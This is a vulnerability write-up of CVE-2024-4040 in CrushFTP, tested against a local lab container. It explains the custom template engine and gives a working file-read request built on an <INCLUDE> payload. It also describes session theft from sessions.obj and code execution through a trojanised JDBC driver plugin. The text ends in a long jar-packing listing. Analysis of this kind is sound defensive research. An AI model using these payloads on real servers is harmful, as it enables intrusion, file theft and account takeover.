Skip to main content
  1. Posts/

CVE 2024-4040 - CrushFTP Server-Side Template Injection Vulnerability Analysis

·4802 words·23 mins

This blog post contains a thorough analysis of Server Side Template Injection vulnerability in a commercial Managed File Transfer product named CrushFTP. Exploit script is available here.

CVE 2024-4040 - CrushFTP Server-Side Template Injection Vulnerability #


I am writing a blog post after a very long time. Finally the “hiatus” has ended and now I am back on track for analyzing real world vulnerabilities and how it has been exploited, more so I will try to uncover what exactly happens under the hood. For starter, I had many vulnerabilities listed and I was confused on what to pick up first but then I saw a news stating that a zero day vulnerability was identified in CrushFTP server. I worked on FTP server sometimes back as part of my work so I thought this would be better to pick for starter.

Before we delve into the vulnerability and exploit, at the time of writing this blog, there are numerous other articles, exploits and scanning script available on the Internet. I have used them for reference at times to understand which part of the server was actually vulnerable.

Source: April 19th, 2024 - CVE-2024-4040 CrushFTP v11 versions below 11.1 have a vulnerability where users can escape their VFS and download system files. This has been patched in v11.1.0. Customers using a DMZ in front of their main CrushFTP instance are partially protected with its protocol translation system it utilizes. A DMZ however does not fully protect you and you must update immediately. (CREDIT:Simon Garrelou, of Airbus CERT)

Given that the all versions below 11.1.0 and specific version of 10.x is vulnerable to SSTI vulnerability, it could really help us if we can get an older version of this. In this case, there was shokinn/crushftp:latest docker image was present which can spin up a local CrushFTP server with 30 days of trial, more than enough for us to walk through such vulnerability.

Once the docker is up and running, we can login to the CrushFTP and confirm the version is 9.3.1_9

Untitled

From the publicly available data, I found that the vulnerability that allow reading of local files can be triggered by navigating to following URL:

/WebInterface/function/?command=zip&c2f="+cookies['currentAuth']+"&path=<INCLUDE>"+path+"</INCLUDE>&names=*"

If we break this URL down, we see that on the /WebInterface/function endpoint it gives command parameter with a value of zip followed by c2f which will contain currentAuth value from the cookie and a path parameter where the payload is given. As we already know that this is an unauthenticated vulnerability, this endpoint seemingly don’t require any kind of authentication. More so, it seems like an API call being made for performing a zip operation on the defined path. To further look into this, I checked the ServerSessionAJAX.class file:

response = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> \r\n";
names = crushftp.handlers.Common.url_decode(request.getProperty("names")).replace('>', '_').replace('<', '_').split("\r\n");
citrix_api_subdomain = "";
buttons = new Vector();
final StringBuffer firstItemName = new StringBuffer();

for (x = 0; x < names.length; ++x) {
  response = names[x];
  if (!response.startsWith(this.thisSessionHTTP.thisSession.SG("root_dir"))) {
    response = this.thisSessionHTTP.thisSession.SG("root_dir") + response.substring(1);
  }

  this.thisSessionHTTP.cd(response);
  if (this.thisSessionHTTP.thisSession.check_access_privs(this.thisSessionHTTP.pwd(), "RETR") && this.thisSessionHTTP.thisSession.check_access_privs(this.thisSessionHTTP.pwd(), "STOR")) {
    this.thisSessionHTTP.thisSession.uiPUT("the_command", "ZIP");
    this.thisSessionHTTP.thisSession.uiPUT("the_command_data", this.thisSessionHTTP.pwd());
    transfer_lock = this.thisSessionHTTP.thisSession.uVFS.get_item(response);
    if (firstItemName.length() == 0) {
      firstItemName.append(transfer_lock.getProperty("name"));
    }

    this.thisSessionHTTP.thisSession.uVFS.getListing(buttons, response, 999, 50000, true);
    else {
      citrix_api_subdomain = citrix_api_subdomain + "You need download, upload permissions to zip a file:" + response + "\r\n";

    }

    refresh_token = crushftp.handlers.Common.url_decode(request.getProperty("path"));
    if (!refresh_token.startsWith(this.thisSessionHTTP.thisSession.SG("root_dir"))) {
      refresh_token = this.thisSessionHTTP.thisSession.SG("root_dir") + refresh_token.substring(1);
    }

    if (this.thisSessionHTTP.thisSession.check_access_privs(refresh_token, "STOR")) {
      citrix_api_subdomain = citrix_api_subdomain + "Started zipping...\r\n";
      ppp = this.thisSessionHTTP.thisSession.uVFS.get_item(refresh_token);
      name = (new VRL(ppp.getProperty("url"))).getPath();
      Worker.startWorker(new Runnable() {
          public void run() {
            String zipName = firstItemName.toString() + "_" + crushftp.handlers.Common.makeBoundary(3);

            try {
              crushftp.handlers.Common.zip(name, buttons, name + zipName + ".zipping");
              (new File_U(name + zipName + ".zipping")).renameTo(new File_U(name + zipName + ".zip"));
            } catch (Exception var3) {
              crushftp.handlers.Common.debug(0, (Exception) var3);
              (new File_U(name + zipName + ".zipping")).renameTo(new File_U(name + zipName + ".bad"));
            }

            , "Zipping:" + refresh_token + ":" + request.getProperty("names"));
        } else {
          citrix_api_subdomain = citrix_api_subdomain + "You need upload permissions to zip a file:" + request.getProperty("path") + "\r\n";
        }

        response = response + "<commandResult><response>" + citrix_api_subdomain + "</response></commandResult>"; this.thisSessionHTTP.thisSession.uVFS.reset();
        return this.writeResponse(response.replace('%', ' '));
      }

As we see here, this part of code ends up checking if we have the proper permission to zip the requested file path and we won’t be having it, in this particular case, so what will happen is the following piece of code will be taken place:

else {
      citrix_api_subdomain = citrix_api_subdomain + "You need upload permissions to zip a file:" + request.getProperty("path") + "\r\n";
      }

Something to notice here is that our parameter value of path is being included in the response as well and then it is passed to the this.WriteResponse , if we look closely into the WriteResponse functions, a method overloading approach has been done to this such that this function will be called in accordance to the parameters passed to it.

   public boolean writeResponse(String response) throws Exception {
      return this.writeResponse(response, true, 200, true, false, true);
   }

   public boolean writeResponse(String response, boolean json) throws Exception {
      return this.writeResponse(response, true, 200, true, json, true);
   }

   public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean log_header) throws Exception {
      boolean acceptsGZIP = false;
      return this.writeResponse(response, log, code, convertVars, json, acceptsGZIP, log_header);
   }

   public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean acceptsGZIP, boolean log_header) throws Exception {
      if (convertVars) {
         response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession);
      }

In the preceding code, it was noted that only the response argument was passed to the writeResponse method. However, upon closer inspection, it becomes evident that the primary writeResponse method requires an additional boolean argument called convertVars as its third parameter. The first writeResponse call sets this argument to true, indicating that variable conversion (convertVars) is enabled. Consequently, the method ServerStatus.thisObj.change_vars_to_values will be invoked.


Custom Templating Engine #

As noticed before, the change_vars_to_values method is called as a method from the ServerStatus class.

Untitled

The main chunk of code is rather big but not complicated to understand. Looking closely into the change_vars_to_values:

  public String change_vars_to_values(String in_str, SessionCrush the_session) {
    if (the_session != null)
      return change_vars_to_values(in_str, the_session.user, the_session.user_info, the_session);
    return change_vars_to_values(in_str, new Properties(), new Properties(), the_session);
  }

  public String change_vars_to_values(String in_str, Properties user, Properties user_info, SessionCrush the_session) {
    return change_vars_to_values_static(in_str, user, user_info, the_session);
  }

The change_vars_to_values function calls change_vars_to_values_static , this function works like a template engine where it takes placeholder variable and substitute for it’s real value. It first parses the given placeholder value and then substitute it’s value by performing some specified operation.

  • By specified, I meant that the application has defined methods and classes to substitute specific keywords. For the file read vulnerability, there is one such method as well, we will be gooing

For example, the following code will replace the placeholders with specified values by retrieving from configurations:

  public static String change_vars_to_values_static(String in_str, Properties user, Properties user_info, SessionCrush the_session) {
    try {
      String r1 = "%";
      String r2 = "%";
      for (int r = 0; r < 2; r++) {
      
      [..snip..]
      
      
        if (in_str.indexOf(String.valueOf(r1) + "beep" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "beep" + r2, ""); 
        if (in_str.indexOf(String.valueOf(r1) + "hostname" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "hostname" + r2, hostname); 
        if (in_str.indexOf(String.valueOf(r1) + "server_time_date" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "server_time_date" + r2, (new Date()).toString()); 
        if (in_str.indexOf(String.valueOf(r1) + "login_number" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "login_number" + r2, uSG(user_info, "user_number")); 
        if (in_str.indexOf(String.valueOf(r1) + "users_connected" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "users_connected" + r2, thisObj.getTotalConnectedUsers()); 
        if (in_str.indexOf(String.valueOf(r1) + "user_password" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_password" + r2, uSG(user_info, "current_password")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_name" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_name" + r2, uSG(user, "username")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_anonymous_password" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_anonymous_password" + r2, uSG(user_info, "user_name").equalsIgnoreCase("anonymous") ? uSG(user_info, "current_password") : ""); 
        if (in_str.indexOf(String.valueOf(r1) + "user_current_dir" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_current_dir" + r2, the_session.get_PWD()); 
        if (in_str.indexOf(String.valueOf(r1) + "user_sessionid" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_sessionid" + r2, uSG(user_info, "CrushAuth")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_site_commands_text" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_site_commands_text" + r2, uSG(user, "site")); 
          
          
[..snip..]

If the given placeholder is something like {{ user_name }} , it will give the current user’s name which in this case will be anonymous as we will make the connection as a guest. This is a typical behavior of a template rendering as we commonly see in Jinja (Python’s flask) or Razor (.NET) templates.

Untitled

As we can see, the given user_name has been replaced with current user’s name.

There are certain values which are being processed differently:

Untitled

Two things that seems to be of interesting from exploitation point of view are <LIST> and <INCLUDE> and we see if such placeholders are passed to the change_vars_to_values_static method, it ends up calling get_dir_list and do_include_file_command respectively. Calling get_dir_list resulted in a failure:

Untitled

The reason is rather clear why this happens, checking the method get_dir_list , we see that it only lists the files/folders from the user’s VFS (Virtual File Share) given that the anonymous user will not have any VFS configured for it, it does make sense why it failed simply:

  public String get_dir_list(String in_str, SessionCrush the_session) throws Exception {
    String command = in_str.substring(in_str.indexOf("<LIST>") + 6, in_str.indexOf("</LIST>"));
    String path = command.trim();
    Vector list = new Vector();
    if (!path.startsWith(the_session.user.getProperty("root_dir")))
      path = String.valueOf(the_session.user.getProperty("root_dir")) + path.substring(1); 
    the_session.uVFS.getListing(list, path);
    StringBuffer add_str = new StringBuffer();
    for (int x = 0; x < list.size(); x++) {
      Properties item = list.elementAt(x);
      LIST_handler.generateLineEntry(item, add_str, false, path, false, the_session, false);
    } 
    in_str = Common.replace_str(in_str, "<LIST>" + command + "</LIST>", add_str.toString());
    return in_str;
  }
  

Arbitrary File Read Vulnerability via SSTI #

Now, moving on to the do_include_file_command , let’s analyze the method:

  public String do_include_file_command(String in_str) {
    try {
      String file_name = in_str.substring(in_str.indexOf("<INCLUDE>") + 9, in_str.indexOf("</INCLUDE>"));
      RandomAccessFile includer = new RandomAccessFile((File)new File_S(file_name), "r");
      byte[] temp_array = new byte[(int)includer.length()];
      includer.read(temp_array);
      includer.close();
      String include_data = String.valueOf(new String(temp_array)) + this.CRLF;
      return Common.replace_str(in_str, "<INCLUDE>" + file_name + "</INCLUDE>", include_data);
    } catch (Exception exception) {
      return in_str;
    } 
  }

Recalling that the disclosure for this vulnerability mentioned that VFS sandbox bypass meaning an attacker will be able to request any file on the system not just from the VFS. This is what made the vulnerability a rather severity one. In the above code snippet, we don’t see any explicit check against the given directory to be within the VFS like we saw in the get_dir_list , to give an overview, this method parses the given placeholder value, for example if <INCLUDE>/etc/passwd</INCLUDE> , it will get the /etc/passwd and store it in the file_name and then using the [includer.read](http://includer.read) method, it will read that file and then return the retrieved content.

Let’s test this out by reading the /etc/passwd file:

GET /WebInterface/function/?command=zip&c2f=1QTL&path=<INCLUDE>/etc/passwd</INCLUDE>&names=* HTTP/1.1
Host: localhost:8080
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: currentAuth=1QTL; CrushAuth=1715144049924_XPU0xRbx1hIJZnsTuFUQ9l8wFI1QTL

Untitled

Retrieving the contents of /etc/passwd using the INCLUDE template.

This is the vulnerability which was mainly discussed everywhere but rather what happened here is the custom templating engine that CrushFTP has implemented and the INCLUDE which is a specified template for retrieving specific file. Since the direct call of this function does not check for files within the VFS allowing us to traverse through the whole file system.

Authentication Bypass via sessions.obj #

Using this Arbitrary File read vulnerability, we can get the session cookies for the users by reading the sessions.obj , this file contains raw data and also stores session cookies for the logged in users. Once retrieved, one can extract the session cookies and then use it to access the CrushFTP functionalities.

Untitled


Leveraging to RCE #

There was also a vague mention of how this vulnerability can open certain avenues to perform RCE. I walked through the application from the admin session to find if there is any specific functionalities which may let us achieve code execution. One of such functionalities was

Preferences → Plugins → CrushSQL

Untitled

I tried to compile a jar file by having a Main.class file in it with the Driver as the public class name but it returned following error:

java.lang.ClassCastException: class Main cannot be cast to class java.sql.Driver (Main is in unnamed module of loader java.net.URLClassLoader @62f16978; java.sql.Driver is in module java.sql of loader ‘platform’)

Untitled

The error occurs because the class Driver is being incorrectly cast to the interface java.sql.Driver, suggesting an attempt to use Driver as a JDBC driver, which it is not, leading to a ClassCastException.

So in order to keep things simple, I downloaded the mysqlconnector jar file and then decompressed the jar file and then changed the Driver.class by adding my own code and then recompiled the .java file to class

ζ cat org/gjt/mm/mysql/Driver.java                                                                                                                                                                                  
ackage org.gjt.mm.mysql;

import java.io.IOException;
import java.sql.SQLException;

public class Driver extends com.mysql.jdbc.Driver {
    public Driver() throws SQLException {
        super(); // Call the constructor of the superclass

        // Your additional code here
        String cmd = "touch /tmp/curshftp_pwned";
        try {
            Process process = Runtime.getRuntime().exec(cmd);
            process.waitFor();
        } catch (IOException | InterruptedException e) {
            // Handle the exception as needed
            e.printStackTrace();
        }
    }
}
                                                                                                                                                                                                   
ζ javac org/gjt/mm/mysql/Driver.java                                                                                                                                                                                
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Note: org/gjt/mm/mysql/Driver.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.

Once done, it is time to pack it back to jar again

ζ jar cvf exploit.jar  .                                                                                                                                                                                            
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
ignoring entry META-INF/
adding: META-INF/INDEX.LIST(in = 383) (out= 159)(deflated 58%)
ignoring entry META-INF/MANIFEST.MF
adding: com/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/AssertionFailedException.class(in = 914) (out= 472)(deflated 48%)
adding: com/mysql/jdbc/Blob.class(in = 3604) (out= 1757)(deflated 51%)
adding: com/mysql/jdbc/BlobFromLocator$LocatorInputStream.class(in = 2116) (out= 1133)(deflated 46%)
adding: com/mysql/jdbc/BlobFromLocator.class(in = 8472) (out= 4434)(deflated 47%)
adding: com/mysql/jdbc/Buffer.class(in = 11778) (out= 5114)(deflated 56%)
adding: com/mysql/jdbc/CallableStatement$CallableStatementParam.class(in = 1366) (out= 733)(deflated 46%)
adding: com/mysql/jdbc/CallableStatement$CallableStatementParamInfo.class(in = 6435) (out= 2915)(deflated 54%)
adding: com/mysql/jdbc/CallableStatement$CallableStatementParamInfoJDBC3.class(in = 1129) (out= 458)(deflated 59%)
adding: com/mysql/jdbc/CallableStatement.class(in = 29764) (out= 11182)(deflated 62%)
adding: com/mysql/jdbc/CharsetMapping.class(in = 11950) (out= 5943)(deflated 50%)
adding: com/mysql/jdbc/Charsets.properties(in = 2477) (out= 861)(deflated 65%)
adding: com/mysql/jdbc/Clob.class(in = 5148) (out= 2409)(deflated 53%)
adding: com/mysql/jdbc/CommunicationsException.class(in = 3552) (out= 1703)(deflated 52%)
adding: com/mysql/jdbc/CompressedInputStream.class(in = 4684) (out= 2555)(deflated 45%)
adding: com/mysql/jdbc/Connection$1.class(in = 1135) (out= 686)(deflated 39%)
adding: com/mysql/jdbc/Connection$CompoundCacheKey.class(in = 1326) (out= 728)(deflated 45%)
adding: com/mysql/jdbc/Connection$UltraDevWorkAround.class(in = 20359) (out= 4395)(deflated 78%)
adding: com/mysql/jdbc/Connection.class(in = 67031) (out= 33151)(deflated 50%)
adding: com/mysql/jdbc/ConnectionFeatureNotAvailableException.class(in = 830) (out= 439)(deflated 47%)
adding: com/mysql/jdbc/ConnectionProperties$1.class(in = 372) (out= 236)(deflated 36%)
adding: com/mysql/jdbc/ConnectionProperties$BooleanConnectionProperty.class(in = 2243) (out= 1060)(deflated 52%)
adding: com/mysql/jdbc/ConnectionProperties$ConnectionProperty.class(in = 5207) (out= 2337)(deflated 55%)
adding: com/mysql/jdbc/ConnectionProperties$IntegerConnectionProperty.class(in = 3334) (out= 1468)(deflated 55%)
adding: com/mysql/jdbc/ConnectionProperties$MemorySizeConnectionProperty.class(in = 2133) (out= 1104)(deflated 48%)
adding: com/mysql/jdbc/ConnectionProperties$StringConnectionProperty.class(in = 2341) (out= 994)(deflated 57%)
adding: com/mysql/jdbc/ConnectionProperties.class(in = 63336) (out= 22225)(deflated 64%)
adding: com/mysql/jdbc/ConnectionPropertiesTransform.class(in = 283) (out= 184)(deflated 34%)
adding: com/mysql/jdbc/Constants.class(in = 384) (out= 281)(deflated 26%)
adding: com/mysql/jdbc/CursorRowProvider.class(in = 4730) (out= 2102)(deflated 55%)
adding: com/mysql/jdbc/DatabaseMetaData$1.class(in = 3827) (out= 1962)(deflated 48%)
adding: com/mysql/jdbc/DatabaseMetaData$2.class(in = 6158) (out= 3099)(deflated 49%)
adding: com/mysql/jdbc/DatabaseMetaData$3.class(in = 5352) (out= 2531)(deflated 52%)
adding: com/mysql/jdbc/DatabaseMetaData$4.class(in = 3378) (out= 1637)(deflated 51%)
adding: com/mysql/jdbc/DatabaseMetaData$5.class(in = 3274) (out= 1617)(deflated 50%)
adding: com/mysql/jdbc/DatabaseMetaData$6.class(in = 3274) (out= 1692)(deflated 48%)
adding: com/mysql/jdbc/DatabaseMetaData$7.class(in = 3276) (out= 1626)(deflated 50%)
adding: com/mysql/jdbc/DatabaseMetaData$8.class(in = 3818) (out= 1940)(deflated 49%)
adding: com/mysql/jdbc/DatabaseMetaData$9.class(in = 4511) (out= 2347)(deflated 47%)
adding: com/mysql/jdbc/DatabaseMetaData$IterateBlock.class(in = 1143) (out= 589)(deflated 48%)
adding: com/mysql/jdbc/DatabaseMetaData$IteratorWithCleanup.class(in = 716) (out= 392)(deflated 45%)
adding: com/mysql/jdbc/DatabaseMetaData$LocalAndReferencedColumns.class(in = 1066) (out= 530)(deflated 50%)
adding: com/mysql/jdbc/DatabaseMetaData$ResultSetIterator.class(in = 1249) (out= 609)(deflated 51%)
adding: com/mysql/jdbc/DatabaseMetaData$SingleStringIterator.class(in = 1121) (out= 562)(deflated 49%)
adding: com/mysql/jdbc/DatabaseMetaData$TypeDescriptor.class(in = 4663) (out= 2634)(deflated 43%)
adding: com/mysql/jdbc/DatabaseMetaData.class(in = 68855) (out= 27275)(deflated 60%)
adding: com/mysql/jdbc/DatabaseMetaDataUsingInfoSchema.class(in = 15351) (out= 5479)(deflated 64%)
adding: com/mysql/jdbc/DocsConnectionPropsHelper.class(in = 718) (out= 409)(deflated 43%)
adding: com/mysql/jdbc/Driver.class(in = 692) (out= 426)(deflated 38%)
adding: com/mysql/jdbc/EscapeProcessor.class(in = 11338) (out= 5906)(deflated 47%)
adding: com/mysql/jdbc/EscapeProcessorResult.class(in = 462) (out= 313)(deflated 32%)
adding: com/mysql/jdbc/EscapeTokenizer.class(in = 2138) (out= 1237)(deflated 42%)
adding: com/mysql/jdbc/ExportControlled.class(in = 1980) (out= 1024)(deflated 48%)
adding: com/mysql/jdbc/Field.class(in = 12253) (out= 5730)(deflated 53%)
adding: com/mysql/jdbc/LicenseConfiguration.class(in = 502) (out= 315)(deflated 37%)
adding: com/mysql/jdbc/LocalizedErrorMessages.properties(in = 21861) (out= 6062)(deflated 72%)
adding: com/mysql/jdbc/Messages.class(in = 2744) (out= 1363)(deflated 50%)
adding: com/mysql/jdbc/MiniAdmin.class(in = 1425) (out= 686)(deflated 51%)
adding: com/mysql/jdbc/MysqlDataTruncation.class(in = 815) (out= 483)(deflated 40%)
adding: com/mysql/jdbc/MysqlDefs.class(in = 7862) (out= 3812)(deflated 51%)
adding: com/mysql/jdbc/MysqlErrorNumbers.class(in = 13677) (out= 5204)(deflated 61%)
adding: com/mysql/jdbc/MysqlIO.class(in = 53305) (out= 27564)(deflated 48%)
adding: com/mysql/jdbc/MysqlParameterMetadata.class(in = 2161) (out= 897)(deflated 58%)
adding: com/mysql/jdbc/MysqlSavepoint.class(in = 1646) (out= 928)(deflated 43%)
adding: com/mysql/jdbc/NamedPipeSocketFactory$NamedPipeSocket.class(in = 1881) (out= 805)(deflated 57%)
adding: com/mysql/jdbc/NamedPipeSocketFactory$RandomAccessFileInputStream.class(in = 1339) (out= 619)(deflated 53%)
adding: com/mysql/jdbc/NamedPipeSocketFactory$RandomAccessFileOutputStream.class(in = 1266) (out= 617)(deflated 51%)
adding: com/mysql/jdbc/NamedPipeSocketFactory.class(in = 1978) (out= 909)(deflated 54%)
adding: com/mysql/jdbc/NonRegisteringDriver.class(in = 9521) (out= 4561)(deflated 52%)
adding: com/mysql/jdbc/NonRegisteringReplicationDriver.class(in = 2474) (out= 1257)(deflated 49%)
adding: com/mysql/jdbc/NotImplemented.class(in = 480) (out= 301)(deflated 37%)
adding: com/mysql/jdbc/NotUpdatable.class(in = 893) (out= 481)(deflated 46%)
adding: com/mysql/jdbc/OperationNotSupportedException.class(in = 529) (out= 320)(deflated 39%)
adding: com/mysql/jdbc/OutputStreamWatcher.class(in = 201) (out= 150)(deflated 25%)
adding: com/mysql/jdbc/PacketTooBigException.class(in = 930) (out= 469)(deflated 49%)
adding: com/mysql/jdbc/PreparedStatement$BatchParams.class(in = 1224) (out= 685)(deflated 44%)
adding: com/mysql/jdbc/PreparedStatement$EndPoint.class(in = 647) (out= 375)(deflated 42%)
adding: com/mysql/jdbc/PreparedStatement$ParseInfo.class(in = 4277) (out= 2447)(deflated 42%)
adding: com/mysql/jdbc/PreparedStatement.class(in = 45810) (out= 22848)(deflated 50%)
adding: com/mysql/jdbc/ReplicationConnection.class(in = 7733) (out= 2698)(deflated 65%)
adding: com/mysql/jdbc/ReplicationDriver.class(in = 731) (out= 433)(deflated 40%)
adding: com/mysql/jdbc/ResultSet.class(in = 82281) (out= 36039)(deflated 56%)
adding: com/mysql/jdbc/ResultSetMetaData.class(in = 7948) (out= 3836)(deflated 51%)
adding: com/mysql/jdbc/RowData.class(in = 970) (out= 473)(deflated 51%)
adding: com/mysql/jdbc/RowDataDynamic$OperationNotSupportedException.class(in = 771) (out= 406)(deflated 47%)
adding: com/mysql/jdbc/RowDataDynamic.class(in = 6083) (out= 2640)(deflated 56%)
adding: com/mysql/jdbc/RowDataStatic.class(in = 2781) (out= 1186)(deflated 57%)
adding: com/mysql/jdbc/SQLError.class(in = 15017) (out= 6323)(deflated 57%)
adding: com/mysql/jdbc/Security.class(in = 4076) (out= 2342)(deflated 42%)
adding: com/mysql/jdbc/ServerPreparedStatement$BatchedBindValues.class(in = 875) (out= 450)(deflated 48%)
adding: com/mysql/jdbc/ServerPreparedStatement$BindValue.class(in = 2291) (out= 1184)(deflated 48%)
adding: com/mysql/jdbc/ServerPreparedStatement.class(in = 35021) (out= 17081)(deflated 51%)
adding: com/mysql/jdbc/SingleByteCharsetConverter.class(in = 3607) (out= 1913)(deflated 46%)
adding: com/mysql/jdbc/SocketFactory.class(in = 380) (out= 235)(deflated 38%)
adding: com/mysql/jdbc/StandardSocketFactory.class(in = 4324) (out= 2188)(deflated 49%)
adding: com/mysql/jdbc/Statement$1.class(in = 1755) (out= 928)(deflated 47%)
adding: com/mysql/jdbc/Statement$CachedResultSetMetaData.class(in = 747) (out= 427)(deflated 42%)
adding: com/mysql/jdbc/Statement$CancelTask.class(in = 1228) (out= 630)(deflated 48%)
adding: com/mysql/jdbc/Statement.class(in = 26505) (out= 12676)(deflated 52%)
adding: com/mysql/jdbc/StringUtils.class(in = 17636) (out= 8909)(deflated 49%)
adding: com/mysql/jdbc/TimeUtil.class(in = 34225) (out= 16486)(deflated 51%)
adding: com/mysql/jdbc/UpdatableResultSet.class(in = 25663) (out= 11104)(deflated 56%)
adding: com/mysql/jdbc/Util$RandStructcture.class(in = 565) (out= 348)(deflated 38%)
adding: com/mysql/jdbc/Util.class(in = 5155) (out= 2894)(deflated 43%)
adding: com/mysql/jdbc/VersionedStringProperty.class(in = 2174) (out= 1225)(deflated 43%)
adding: com/mysql/jdbc/WatchableOutputStream.class(in = 794) (out= 417)(deflated 47%)
adding: com/mysql/jdbc/WatchableWriter.class(in = 698) (out= 380)(deflated 45%)
adding: com/mysql/jdbc/WriterWatcher.class(in = 183) (out= 143)(deflated 21%)
adding: com/mysql/jdbc/configs/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/configs/3-0-Compat.properties(in = 413) (out= 269)(deflated 34%)
adding: com/mysql/jdbc/configs/clusterBase.properties(in = 100) (out= 88)(deflated 12%)
adding: com/mysql/jdbc/configs/fullDebug.properties(in = 146) (out= 110)(deflated 24%)
adding: com/mysql/jdbc/configs/maxPerformance.properties(in = 775) (out= 419)(deflated 45%)
adding: com/mysql/jdbc/configs/solarisMaxPerformance.properties(in = 248) (out= 169)(deflated 31%)
adding: com/mysql/jdbc/exceptions/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/exceptions/MySQLDataException.class(in = 829) (out= 414)(deflated 50%)
adding: com/mysql/jdbc/exceptions/MySQLIntegrityConstraintViolationException.class(in = 901) (out= 433)(deflated 51%)
adding: com/mysql/jdbc/exceptions/MySQLInvalidAuthorizationSpecException.class(in = 889) (out= 434)(deflated 51%)
adding: com/mysql/jdbc/exceptions/MySQLNonTransientConnectionException.class(in = 883) (out= 421)(deflated 52%)
adding: com/mysql/jdbc/exceptions/MySQLNonTransientException.class(in = 822) (out= 417)(deflated 49%)
adding: com/mysql/jdbc/exceptions/MySQLSyntaxErrorException.class(in = 850) (out= 422)(deflated 50%)
adding: com/mysql/jdbc/exceptions/MySQLTimeoutException.class(in = 977) (out= 487)(deflated 50%)
adding: com/mysql/jdbc/exceptions/MySQLTransactionRollbackException.class(in = 871) (out= 423)(deflated 51%)
adding: com/mysql/jdbc/exceptions/MySQLTransientConnectionException.class(in = 871) (out= 419)(deflated 51%)
adding: com/mysql/jdbc/exceptions/MySQLTransientException.class(in = 813) (out= 407)(deflated 49%)
adding: com/mysql/jdbc/integration/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/integration/c3p0/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/integration/c3p0/MysqlConnectionTester.class(in = 2856) (out= 1427)(deflated 50%)
adding: com/mysql/jdbc/integration/jboss/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/integration/jboss/ExtendedMysqlExceptionSorter.class(in = 804) (out= 457)(deflated 43%)
adding: com/mysql/jdbc/integration/jboss/MysqlValidConnectionChecker.class(in = 2687) (out= 1351)(deflated 49%)
adding: com/mysql/jdbc/jdbc2/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/jdbc2/optional/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/jdbc2/optional/CallableStatementWrapper.class(in = 18436) (out= 4464)(deflated 75%)
adding: com/mysql/jdbc/jdbc2/optional/ConnectionWrapper.class(in = 10762) (out= 3702)(deflated 65%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlConnectionPoolDataSource.class(in = 1259) (out= 531)(deflated 57%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlDataSource.class(in = 5785) (out= 2512)(deflated 56%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlDataSourceFactory.class(in = 3186) (out= 1625)(deflated 48%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlPooledConnection.class(in = 3122) (out= 1467)(deflated 53%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlXAConnection.class(in = 8107) (out= 4102)(deflated 49%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlXADataSource.class(in = 1396) (out= 622)(deflated 55%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlXAException.class(in = 1156) (out= 628)(deflated 45%)
adding: com/mysql/jdbc/jdbc2/optional/MysqlXid.class(in = 1510) (out= 883)(deflated 41%)
adding: com/mysql/jdbc/jdbc2/optional/PreparedStatementWrapper.class(in = 9557) (out= 2923)(deflated 69%)
adding: com/mysql/jdbc/jdbc2/optional/StatementWrapper.class(in = 8635) (out= 2843)(deflated 67%)
adding: com/mysql/jdbc/jdbc2/optional/SuspendableXAConnection.class(in = 3889) (out= 1679)(deflated 56%)
adding: com/mysql/jdbc/jdbc2/optional/WrapperBase.class(in = 897) (out= 504)(deflated 43%)
adding: com/mysql/jdbc/log/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/log/CommonsLogger.class(in = 2725) (out= 911)(deflated 66%)
adding: com/mysql/jdbc/log/Jdk14Logger.class(in = 4520) (out= 1852)(deflated 59%)
adding: com/mysql/jdbc/log/Log.class(in = 489) (out= 261)(deflated 46%)
adding: com/mysql/jdbc/log/Log4JLogger.class(in = 2752) (out= 987)(deflated 64%)
adding: com/mysql/jdbc/log/LogFactory.class(in = 3130) (out= 1472)(deflated 52%)
adding: com/mysql/jdbc/log/LogUtils.class(in = 3274) (out= 1891)(deflated 42%)
adding: com/mysql/jdbc/log/NullLogger.class(in = 1908) (out= 561)(deflated 70%)
adding: com/mysql/jdbc/log/StandardLogger.class(in = 4161) (out= 1727)(deflated 58%)
adding: com/mysql/jdbc/profiler/(in = 0) (out= 0)(stored 0%)
